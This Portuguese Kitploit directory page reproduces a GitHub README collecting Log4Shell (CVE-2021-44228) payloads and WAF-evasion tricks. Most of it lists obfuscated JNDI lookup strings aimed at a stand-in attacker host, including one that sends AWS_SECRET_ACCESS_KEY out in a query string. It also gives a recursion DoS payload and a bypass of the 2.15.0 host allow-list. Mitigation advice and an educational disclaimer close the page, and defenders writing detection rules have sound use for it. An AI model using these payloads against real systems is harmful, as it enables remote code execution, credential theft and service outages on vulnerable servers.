Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-44228-PoC-log4j-bypass-words — 🐱‍💻 ✂️ 🤬 CVE-2021-44228 - Exploit Java do LOG4J - Truques de bypass de WAF | Kitploit
Ferramentas/GitHubGitHub/puliczek/cve-2021-44228-poc-log4j-bypass-words
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoEvasão de IDS/IPSExploração de Aplicações WebBypass de WAFTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubpuliczek/cve-2021-44228-poc-log4j-bypass-words

CVE-2021-44228-PoC-log4j-bypass-words

🐱‍💻 ✂️ 🤬 CVE-2021-44228 - Exploit Java do LOG4J - Truques de bypass de WAF

Ver Repositório
9501345há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
🤝 Mostre seu apoio - dê uma ⭐️ se você gostou do conteúdo | COMPARTILHE no Twitter | Siga-me no

🐱‍💻 ✂️ 🤬 Exploit Java LOG4J - Truques de bypass de WAF e patches

📝 Descrição

CVE-2021-44228 funciona em:

log4j: 2.0 <= Apache log4j <= 2.14.1

Versão Java já corrigida: 6u211+, 7u201+, 8u191+, 11.0.1+.

O Windows Defender começou a remover arquivos .java que incluem jndi:ldap:....

Script atacante simples (Possível RCE):

${jndi:ldap://somesitehackerofhell.com/z}

WAF ou desenvolvedores começaram a bloquear frases:

  • "ldap:"
  • "jndi:"

para proteger aplicações.

No entanto, o atacante pode contornar isso usando uma destas técnicas:

1. Variáveis de ambiente do sistema

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}

Pela documentação do Apache Log4j 2: ${env:ENV_NAME:-default_value}

Se não houver variável de ambiente ENV_NAME no sistema, use o texto após :-

O atacante pode usar qualquer nome em vez de ENV_NAME, mas ele não deve existir.

Ou o hacker pode ler uma variável de ambiente, exemplo para AWS_SECRET_ACCESS_KEY:

${jndi:ldap://somesitehackerofhell.com/z?leak=${env:AWS_SECRET_ACCESS_KEY:-NO_EXISTS}}

Confira mais segredos em 🦄🔒 Lista incrível de segredos em variáveis de ambiente 🖥️

Você pode verificar suas variáveis de ambiente do sistema:

  • No Windows execute no PowerShell: dir env:
  • No Linux/MacOS execute no terminal: printenv ou env

2. Lower ou Upper Lookup

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z}

${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://somesitehackerofhell.com/z}

Lower Lookup O LowerLookup converte o argumento passado para minúsculas. Presumivelmente, o valor será o resultado de uma consulta aninhada.

${lower:<texto>}

Upper Lookup O UpperLookup converte o argumento passado para maiúsculas. Presumivelmente, o valor será o resultado de uma consulta aninhada.

${upper:<texto>}


3. Notação "::-"

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z}


4. Caracteres Unicode inválidos com maiúscula

${jnd${upper:ı}:ldap://somesitehackerofhell.com/z}

ı é convertido para i


5. Propriedades do sistema

${jnd${sys:SYS_NAME:-i}:ldap:/somesitehackerofhell.com/z}

Se não houver propriedade de sistema SYS_NAME, use o texto após :-


6. Notação ":-"

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://somesitehackerofhell.com/z}


7. Data

${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://somesitehackerofhell.com/z}

A formatação de data Java converte YYYY para 2021, mas converte 'YYYY' para YYYY ou 'j' para j.


8. Codificação HTML URL

Substitua caracteres por:

  • } por %7D
  • { por %7B
  • $ por %24

Você pode ler mais aqui Referência de Codificação HTML URL


9. Consulta inexistente

${${what:ever:-j}${some:thing:-n}${other:thing:-d}${and:last:-i}:ldap://somesitehackerofhell.com/z}

Ele não verifica a existência da consulta e simplesmente avalia para o padrão felizmente.


10. Polimórfico (requisição JSON REST API)


root@kitploit:~
{
    "one-${jnd${a":"a:-i}:ld${",
    "two":"o:-a}p://somesitehackerofhell.com/z}
}

"Separadamente, essas chaves e valores não representam um ataque. Mas todos juntos são um ataque, e esse ataque é transparente para os sistemas de detecção por causa do parser JSON." Leia mais...


11. Caracteres Unicode (requisição JSON REST API)

${\u006a\u006e\u0064\u0069:ldap://somesitehackerofhell.com/z}

Converta alguns caracteres para unicode.

Conversor de Unicode Online


12. Truque com # (funciona no log4j 2.15)

${jndi:ldap://127.0.0.1#somesitehackerofhell.com/z}

Ignora as verificações de allowedLdapHost e allowedClasses no Log4J 2.15.0. O método java.net.URI getHost() retorna o valor antes do # como o host real. Mas o resolvedor JNDI/LDAP resolverá para a string completa do hostname tentando conectar ao servidor LDAP malicioso.

Leia mais...


13. Ataque DoS (Funciona no log4j 2.8 - 2.16 - CVE-2021-45105)

${${::-${::-$${::-j}}}}

Se uma substituição de string for tentada por qualquer motivo na string a seguir, isso desencadeará uma recursão infinita, e a aplicação travará.

Leia mais...


14. PDF como canal de entrega.

Crie um arquivo pdf especial para explorar o CVE-2021-44228

Exemplo PDF

Obtenha um arquivo pdf e leia mais...

Testando

Para testar a entrada, você pode usar:

  • https://canarytokens.org/generate - Escolha o token Log4Shell (a notificação de entrada será enviada por e-mail ou webhook), gere e substitua somesitehackerofhell.com/z
  • https://dnslog.cn/ - Gere um subdomínio e substitua somesitehackerofhell.com/z

✨ Melhor solução para se proteger contra CVE-2021-44228

resumo: Atualize para log4j-2.17.1 ou posterior.

Mitigação Log4j 1.x: Log4j 1.x não possui Lookups, então o risco é menor. Aplicações usando Log4j 1.x só são vulneráveis a este ataque quando usam JNDI em sua configuração. Um CVE separado (CVE-2021-4104) foi registrado para esta vulnerabilidade. Para mitigar: audite sua configuração de log para garantir que não tenha JMSAppender configurado. Configurações Log4j 1.x sem JMSAppender não são afetadas por esta vulnerabilidade.

Mitigação Log4j 2.x: Implemente uma das técnicas de mitigação abaixo.

  • Usuários de Java 8 (ou superior) devem atualizar para a versão 2.17.1.
  • Usuários que precisam de Java 7 devem atualizar para a versão 2.12.4 quando ela estiver disponível (trabalho em andamento, espera-se que esteja disponível em breve).
  • Caso contrário, remova a classe JndiLookup do classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class e remova referências a Context Lookups como ${ctx:loginId} ou $${ctx:loginId} quando elas se originarem de fontes externas à aplicação, como cabeçalhos HTTP ou entrada do usuário.

Observe que apenas o arquivo JAR log4j-core é impactado por esta vulnerabilidade. Aplicações usando apenas o arquivo JAR log4j-api sem o log4j-core não são impactadas por esta vulnerabilidade.

Fonte e leia mais...

Mantenha-se seguro!

🤝 Mostre seu apoio

🤝 Mostre seu apoio - dê uma ⭐️ se você gostou do conteúdo ou meme | COMPARTILHE no Twitter | Siga-me no

log2

📝 Links úteis

  • Apache Log4j 2 v. 2.15.0 - Guia do Usuário
  • Possível primeira publicação do bypass lower/upper
  • CVE-2021-44228 (Apache Log4j Remote Code Execution)
  • Referência de Codificação HTML URL
  • GitHub revisou CVE-2021-44228 - Injeção remota de código no Log4j
  • Vulnerabilidades de segurança do Apache Log4j
  • Programa log4j-detector - Detecta versões do Log4J em seu sistema de arquivos dentro de qualquer aplicação que sejam vulneráveis ao CVE-2021-44228 e CVE-2021-45046
  • Exploit Log4J polimórfico que é uma requisição JSON REST API válida
  • Contornando NGFW/WAFs usando ofuscação de formato de dados
  • LOG4J2-3230 Certas strings podem causar recursão infinita
  • Aqui está uma PoC de como contornar as verificações de allowedLdapHost e allowedClasses no Log4J 2.15.0
  • 🦄🔒 Lista incrível de segredos em variáveis de ambiente 🖥️
  • Explorando CVE-2021-44228 usando PDFs como canal de entrega - PoC

🙌 Agradecimentos aos usuários pela contribuição

  • Todos os Contribuidores
  • Whatsec por mais exemplos de bypass
  • manjula-aw por melhorias na seção de segurança
  • juliusmusseau por mais um exemplo de bypass

✔️ Aviso

Este projeto só pode ser usado para fins educacionais. Usar este software contra sistemas alvo sem permissão prévia é ilegal, e quaisquer danos decorrentes do uso indevido deste software não serão de responsabilidade do autor.

Não sou o autor do CVE-2021-44228 e de alguns bypasses.

Baixar ferramenta